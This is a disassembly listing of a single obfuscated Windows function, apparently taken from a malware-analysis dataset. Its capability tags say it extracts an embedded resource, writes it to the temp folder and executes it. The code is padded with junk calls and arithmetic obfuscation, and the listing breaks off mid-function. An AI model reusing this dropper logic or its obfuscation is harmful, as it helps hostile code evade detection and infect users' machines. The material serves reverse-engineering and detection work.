Function at 0x14000cd40
Capabilities:
Create process on windows
Extract resource via kernel32 functions
Get common file path
Write and execute a file
Write file on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x388
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x2c8], rcx
sub rsp, 0x20
movabs rcx, 0x6ffe1f889b972a25
mov edx, 0xc5
mov r8d, 0x6b
mov r9d, 0xd9
call fcn.140006b10
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov edx, 0x41
mov r8d, 0xef
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor rdi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
movabs rcx, 0x37c60221f1f8119f
mov edx, 0xcd
mov r8d, 0x64
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0xc8175a1d10b6ca5f
mov r9d, 0x3d
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov edx, 0x2d
xor ecx, ecx
mov r8, rdi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0x13abc1479175c971
call fcn.140006b10
mov r8d, 0x57
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
movabs rsi, 0x3c151613b0e5fada
mov edx, 0x5d
mov rcx, rsi
call fcn.140006b10
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov edx, 0xb7
mov rcx, rsi
mov r8, rdi
call fcn.140006b10
mov edx, 0xc
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x10eeb9b969d09a72
lea rcx, [rsi + 1]
sub rsp, 0x20
mov rdx, rdi
call fcn.140006b10
mov r8d, 0x44
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
mov rcx, rsi
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0x6eb1d9d93b5d23c6
mov edx, 0xb5
mov r8d, 0x65
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
add esi, eax
sub rsp, 0x20
movabs rcx, 0x914e2626c4a2dc3b
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
xor eax, ebx
add eax, esi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x228], rsp
sub rsp, 0x20
movabs rcx, 0x2b6452fb75e85af8
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x99
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
add ebx, esi
sub rsp, 0x20
movabs rcx, 0xd49bad048a17a509
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor eax, esi
add eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x230], rsp
sub rsp, 0x20
movabs rcx, 0xc742a4ff1f96efc9
mov edx, 0xbf
mov r8d, 0x7bee1c
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x7d
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
add ebx, esi
sub rsp, 0x20
movabs rcx, 0x3f1be661fc7c5a79
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
add esi, eax
imul esi, ebx
lea rax, [rsi*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x270], rsp
sub rsp, 0x20
movabs rcx, 0x475e6c4508771ed7
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
movabs rcx, 0xc86cdf7fc54cb4e7
mov rdx, rdi
call fcn.140006b10
mov edx, 0x5f
mov r8d, 0xcf
mov r9d, 0xb21f14
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0x6ead970b51db542f
mov r9d, 0x6f
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0xca
xor ecx, ecx
mov rdx, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
movabs rcx, 0x915268f4ae24abd2
mov r9d, 0x9d
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0xf6
mov r9d, 0x3c
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
xor eax, ebx
add eax, esi
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x260], rsp
sub rsp, 0x20
movabs rcx, 0x3d5d1f97ec1da2e7
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
xor esi, eax
sub rsp, 0x20
movabs rcx, 0xc2a2e06813e25d1a
mov edx, 0x56
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
xor eax, ebx
add eax, esi
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x268], rsp
movabs rsi, 0x5abd8787c0e573d4
lea rcx, [rsi + 1]
sub rsp, 0x20
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov rcx, rsi
mov rdx, rdi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0x2aff23219d2a837c
mov r8d, 0xf7
mov rdx, rdi
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
movabs rcx, 0xd500dcde62d57c85
mov edx, 0x6cc6ab
call fcn.140006b10
mov r8d, 0x32
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
movabs rsi, 0x2ede692b2122b97e
mov edx, 0x66
mov r8d, 0xadf81c
mov rcx, rsi
mov r9, rdi
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
or rsi, 1
sub rsp, 0x20
mov r8d, 0x36
mov rcx, rsi
mov rdx, rdi
mov r9, rdi
call fcn.140006b10
mov edx, 0xdd
mov r8d, 0xd3
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movabs rcx, 0x8c060a0c219ed9e
or rcx, 1
sub rsp, 0x20
mov edx, 0x8f
mov r8d, 0x83
mov r9, rdi
call fcn.140006b10
mov edx, 0x9dabe7
mov r8d, 0x31
mov r9d, 0xf81602
xor ecx, ecx
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
movabs rcx, 0xfcaf60467d0f5f3
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x2037aa
xor ecx, ecx
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
add ebx, esi
sub rsp, 0x20
movabs rcx, 0xf03509fb982f0a0e
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov r8d, 0x4a
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
add eax, esi
add eax, ebx
lea rax, [rax*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x290], rsp
movabs rsi, 0xf61ff2494b1091a
lea rcx, [rsi + 1]
sub rsp, 0x20
mov r8d, 0x32
mov rdx, rdi
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
mov rcx, rsi
mov rdx, rdi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0xabb55d608c9f9cb
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
add ebx, esi
sub rsp, 0x20
movabs rcx, 0x9d2bfc1b9a2a63e3
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0x9a
xor ecx, ecx
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
add eax, esi
imul eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov qword [rbp + 0x2a0], rsp
sub rsp, 0x20
movabs rcx, 0x139b969f47379517
mov r8d, 0x2f6a3e
mov rdx, rdi
call fcn.140006b10
mov edx, 0x81
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0xb901f5a6d8bca9c0
mov edx, 0x8b
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0x3a6f6a5cae8ca368
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov edx, 0x14
xor ecx, ecx
mov r8, rdi
call fcn.140006b10
movabs rcx, 0xc59095a351735caf
call fcn.140006b10
mov r8d, 7
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
movabs rcx, 0x507905fdfba10be8
mov edx, 0xb7
mov r8d, 0x66
mov r9, rdi
call fcn.140006b10
mov r9d, 0x1a
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
movabs rcx, 0x507905fd18f5576f
mov edx, 0x3b
mov r8, rdi
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
movabs rcx, 0x77af320e11de6b71
mov rdx, rdi
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
movabs rcx, 0x51ef96d3d741007
call fcn.140006b10
mov edx, 0xab
xor ecx, ecx
call fcn.140006b10
movabs rcx, 0x8b8a145062dc031
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0x9d
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
add rbx, rax
sub rsp, 0x20
movabs rcx, 0xf7475ebaf9d23fe6
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xaa
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
add rsi, rax
add rsi, rbx
sub rsp, 0x20
movabs rcx, 0x538286ab1d787241
mov edx, 0x3d07e0
call fcn.140006b10
movabs rcx, 0xac7d7955c5dbea46
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0x17
mov r8d, 0x87
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov ecx, 0xe3545c87
mov edx, 0x54
call fcn.140006b10
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, rbx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
mov r8d, 0x99
mov rcx, rsi
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
mov edx, 0xb6
mov r8d, 0xec
mov rcx, r15
call fcn.140006b10
sub rsp, 0x20
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rbx
lea rcx, [0x140014024]
lea rdx, [rbp + 0x180]
mov r8, rbx
mov r9, rax
call fcn.140006b20
add rsp, 0x40
mov qword [rbp + 0x2b0], rax
mov r14, qword [rbp + 0x2b0]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0xeb
mov r8d, 0x9beb5e
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r14d
sub rsp, 0x20
mov ecx, 0x7afafa69
mov edx, 0x42
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, esi
sub rsp, 0x20
mov ecx, 0xa061440
mov edx, 0x65
call fcn.140006b10
add rsp, 0x20
mov r15, rax
and r15d, ebx
sub rsp, 0x20
mov ecx, 0x1050504
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, r14d
sub rsp, 0x20
mov ecx, 0x1010104
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, ebx
add esi, r15d
sub rsp, 0x20
mov ecx, 0xb071544
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov r15, rax
xor r15d, esi
sub rsp, 0x20
movabs rcx, 0x3e76c35314fee8e0
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov r14, qword [rbp + 0x2b0]
lea eax, [r14 + r15]
mov ecx, r14d
xor ecx, r15d
sub eax, ecx
and r14d, r15d
add r14d, r14d
xor r14d, eax
sub rsp, 0x20
movabs rcx, 0xc1893caceb011721
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov r13, rax
xor r13d, r14d
or r13d, r15d
mov ebx, r15d
or ebx, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov edx, 0x13
mov r8d, 0x79
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x39
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r15d
sub rsp, 0x20
mov ecx, 2
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, r14d
xor r14d, r15d
sub r14d, r13d
sub r14d, r12d
xor r14d, eax
sub rsp, 0x20
movabs rcx, 0xefe9cd17ebcddef
mov edx, 0xb2
call fcn.140006b10
mov edx, 0xbf
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rax, qword [rbp + 0x2b0]
sub rsp, 0x20
mov ecx, 0xec
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0xf521
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xf0
mov edx, 0x2a
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r15d
sub rsp, 0x20
mov ecx, 0xff
mov r9d, 0xa6
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x8365
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, ebx
sub rsp, 0x20
movabs rcx, 0xf101632e81432212
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rcx, rsi
mov qword [rbp + 0x288], rsi
add esi, r14d
mov eax, r14d
xor eax, ecx
sub esi, eax
mov r13d, r14d
and r13d, ecx
sub rsp, 0x20
mov ecx, 1
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov ecx, eax
shl r13d, cl
xor r13d, esi
sub rsp, 0x20
movabs rcx, 0x7c2db3033abf78e6
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
add rsp, 0x20
mov r15, rax
xor r15d, r14d
or r15d, r13d
mov esi, r13d
or esi, r14d
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xb9
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, esi
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x9e
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
xor ebx, r13d
sub rsp, 0x20
mov ecx, 2
mov edx, 0x8d
mov r8d, 0x14374b
call fcn.140006b10
add rsp, 0x20
imul eax, ebx
sub eax, r14d
xor r14d, r13d
sub r14d, r15d
sub r14d, r12d
xor r14d, eax
sub rsp, 0x20
movabs rcx, 0x83d24cfcc540871b
mov r8d, 0x16
mov r9d, 0x7b
mov rdx, rdi
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x54
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 2
mov rdx, rdi
call fcn.140006b10
movabs rcx, 0x6727d5a03c521a05
mov edx, 0x76ff33
call fcn.140006b10
mov edx, 0xc2
mov r9d, 0x74
xor ecx, ecx
mov r8, rdi
call fcn.140006b10
mov ecx, 0x83
mov edx, 0x961576
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r14d
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0x82
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0xc767
mov edx, 0xeb
call fcn.140006b10
add rsp, 0x20
mov r12, rax
imul r12d, ebx
sub rsp, 0x20
mov ecx, 0xf1
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x8d
mov rdx, rdi
call fcn.140006b10
mov ecx, 0x6c9b
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
movabs rcx, 0x790eaccec2a2cd00
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0x100
mov rdx, rdi
call fcn.140006b10
lea rsi, [rbp - 0x80]
mov ecx, eax
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
add rsp, 0x20
mov dword [rbp + 0x2dc], eax
sub rsp, 0x20
lea rdx, str._s_s
lea r9, [0x14001514c]
mov rcx, rsi
mov r8, rsi
call qword [sym.imp.USER32.dll_wsprintfA]
add rsp, 0x20
mov dword [rbp + 0x2d4], eax
sub rsp, 0x20
mov edx, 0x72
mov r8d, 0xa
mov rcx, qword [rbp + 0x2c8]
call qword [sym.imp.KERNEL32.dll_FindResourceW]
add rsp, 0x20
mov rcx, qword [rbp + 0x2a0]
mov qword [rcx], rax
cmp qword [rcx], 0
sete byte [rbp + 0x2ff]
movzx eax, byte [rbp + 0x2ff]
mov byte [rbp + 0x2ef], al
movzx eax, byte [rbp + 0x2ef]
mov byte [rbp + 0x307], al
movzx eax, byte [rbp + 0x307]
sub rsp, 0x20
mov ecx, 1
mov edx, 0xd3e923
call fcn.140006b10
movabs rcx, 0x7ee28a17fb5fb9ed
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, qword [rbp + 0x2b0]
sub rsp, 0x20
mov ecx, 0x37
mov edx, 0x2bbba3
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, ebx
sub rsp, 0x20
mov ecx, 0xff
mov r8d, 0xc7
mov rdx, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x1247
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
imul esi, ebx
sub rsp, 0x20
mov ecx, 0x30
mov r8d, 0xc1
mov r9d, 0xc9
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xff
call fcn.140006b10
add rsp, 0x20
mov r14, rax
and r14d, ebx
imul r14d, r14d
sub rsp, 0x20
mov ecx, 0xebb7
call fcn.140006b10
add rsp, 0x20
mov r13, rax
imul r13d, r14d
xor eax, eax
cmp esi, r13d
sete al
mov dword [rbp + 0x2a8], eax
sub rsp, 0x20
movabs rcx, 0xe15c3a8a25b78be5
mov edx, 0x82
mov r8, rdi
mov r9, rdi
call fcn.140006b10
mov edx, 0xfa
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x4d
call fcn.140006b10
mov ecx, 0xffffffff
call fcn.140006b10
mov ecx, 0xfffffffd
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 2
mov edx, 4
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
movabs rsi, 0x5f31c35503f58b48
lea rcx, [rsi + 1]
sub rsp, 0x20
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x2ff]
sub rsp, 0x20
mov ecx, 1
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov edx, 0xf3
mov rcx, rsi
mov r8, rdi
call fcn.140006b10
mov edx, 0x26
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov r15, rax
xor r15d, r13d
or r15d, r12d
mov ebx, r12d
or ebx, r13d
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0xc6
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r12d
sub rsp, 0x20
mov ecx, 2
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, r13d
xor r13d, r12d
sub r13d, r15d
sub r13d, r14d
xor r13d, eax
sub rsp, 0x20
movabs rcx, 0x63bbf96f321efdd5
call fcn.140006b10
mov ecx, 1
call fcn.140006b10
movabs rcx, 0x403443d12f4a537d
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0xffffffff
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov r15, rax
mov r12, qword [rbp + 0x288]
xor r15d, r12d
or r15d, r13d
mov ebx, r13d
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x86
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xfffffffd
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, esi
sub rsp, 0x20
mov ecx, 0xffffffff
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
xor esi, r13d
sub rsp, 0x20
mov ecx, 2
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
imul eax, esi
sub eax, r12d
xor r13d, r12d
sub r13d, r15d
sub r13d, r14d
xor r13d, eax
sub rsp, 0x20
movabs rcx, 0x2deb221a714325f5
mov edx, 0x29
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
add ebx, esi
movzx eax, byte [rbp + 0x2ff]
sub rsp, 0x20
mov ecx, 0xbf
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x3ad5
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xe
mov edx, 0xa4
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x37
call fcn.140006b10
mov ecx, 0x8249
mov rdx, rdi
call fcn.140006b10
movabs rcx, 0x7997bb2d99b69e5d
mov r8d, 0xbb
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
add eax, esi
imul eax, ebx
lea rax, [rax*8 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov r15, rsp
sub rsp, 0x20
mov ecx, 0xffffffff
mov r8d, 0x3c
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x47
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0x5ea3b6
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xfc
mov r8, rdi
call fcn.140006b10
mov ecx, 2
mov edx, 0x6e
mov r8, rdi
call fcn.140006b10
movabs rcx, 0x73dc3a7b4f389e8f
mov edx, 0x9d9fd1
mov r8, rdi
call fcn.140006b10
mov edx, 0x34
xor ecx, ecx
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
movzx eax, byte [rbp + 0x307]
sub rsp, 0x20
mov ecx, 0x82
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xff
mov edx, 0x66
call fcn.140006b10
mov ecx, 0x8041
call fcn.140006b10
mov ecx, 0x68
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xff
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0x7039
mov edx, 0xae
mov r9d, 0x83
mov r8, rdi
call fcn.140006b10
movabs rcx, 0x8c23c584b0c76172
mov edx, 0xfc
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov r12d, dword [rbp + 0x2a8]
neg r12d
sub rsp, 0x20
mov ecx, 0x8e
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
or esi, r13d
sub rsp, 0x20
mov ecx, 0xff
mov r9d, 0xb7
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
and ebx, esi
imul ebx, ebx
sub rsp, 0x20
mov ecx, 0x1e2b
mov edx, 0xdf
call fcn.140006b10
add rsp, 0x20
mov r14, rax
imul r14d, ebx
sub rsp, 0x20
mov ecx, 0xbb
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
or ebx, r12d
sub rsp, 0x20
mov ecx, 0xff
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
and esi, ebx
imul esi, esi
sub rsp, 0x20
mov ecx, 0xbb2d
mov edx, 0x73
mov r8d, 0xd2
call fcn.140006b10
add rsp, 0x20
imul eax, esi
xor ebx, ebx
cmp r14d, eax
sete bl
sub rsp, 0x20
movabs rcx, 0x4b8671a20aabf0b
mov r8d, 0xb9
mov rdx, rdi
call fcn.140006b10
add rsp, 0x20
mov rsi, rax
neg ebx
xor esi, ebx
sub rsp, 0x20
mov ecx, 0xa8
mov edx, 0xdc
mov r8, rdi
call fcn.140006b10
mov ecx, 0xff
mov r8d, 0x5794aa
mov rdx, rdi
call fcn.140006b10
mov ecx, 0x6179
mov edx, 0x91
mov r8, rdi
mov r9, rdi
call fcn.140006b10
mov ecx, 1
mov rdx, rdi
call fcn.140006b10
mov ecx, 0xff
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0xa907
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
movabs rcx, 0xfb4798e5df5540f6
mov edx, 0xe5
call fcn.140006b10
add rsp, 0x20
mov rbx, rax
sub rsp, 0x20
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
xor ebx, eax
add ebx, esi
lea rax, [rbx*4 + 0xf]
and rax, 0xfffffffffffffff0
call fcn.140006950
sub rsp, rax
mov r14, rsp
movzx eax, byte [rbp + 0x307]
sub rsp, 0x20
mov ecx, 0xffffffff
mov edx, 0x27
mov r8d, 0x65310a
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0xbd
mov r8, rdi
call fcn.140006b10
mov ecx, 0xfffffffd
mov edx, 0xa2
mov r8, rdi
call fcn.140006b10
mov ecx, 0xffffffff
mov edx, 0x51d085
mov r8, rdi
mov r9, rdi
call fcn.140006b10
mov ecx, 2
mov rdx, rdi
call fcn.140006b10
movabs rcx, 0x6fcf3f31d134f6fe
mov edx, 0x52
mov r8d, 0x8c
call fcn.140006b10
xor ecx, ecx
call fcn.140006b10
mov ecx, 0xe8
call fcn.140006b10
mov ecx, 0xff
mov rdx, rdi
call fcn.140006b10
mov ecx, 0x215b
mov rdx, rdi
mov r8, rdi
mov r9, rdi
call fcn.140006b10
mov ecx, 0xab
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
mov ecx, 0xff
call fcn.140006b10
mov ecx, 0x3ea1
mov edx, 0x7a
call fcn.140006b10
movabs rcx, 0x9030c0ce2ecb0903
mov edx, 2
mov r8d, 0x894100
call fcn.140006b10
xor ecx, ecx
mov rdx, rdi
mov r8, rdi
call fcn.140006b10
add rsp, 0x20
cmp byte [rbp + 0x307], 0
jne 0x140010874
mov rdi, qword [rbp + 0x2a0]
mov rdx, qword [rdi]
sub rsp, 0x20
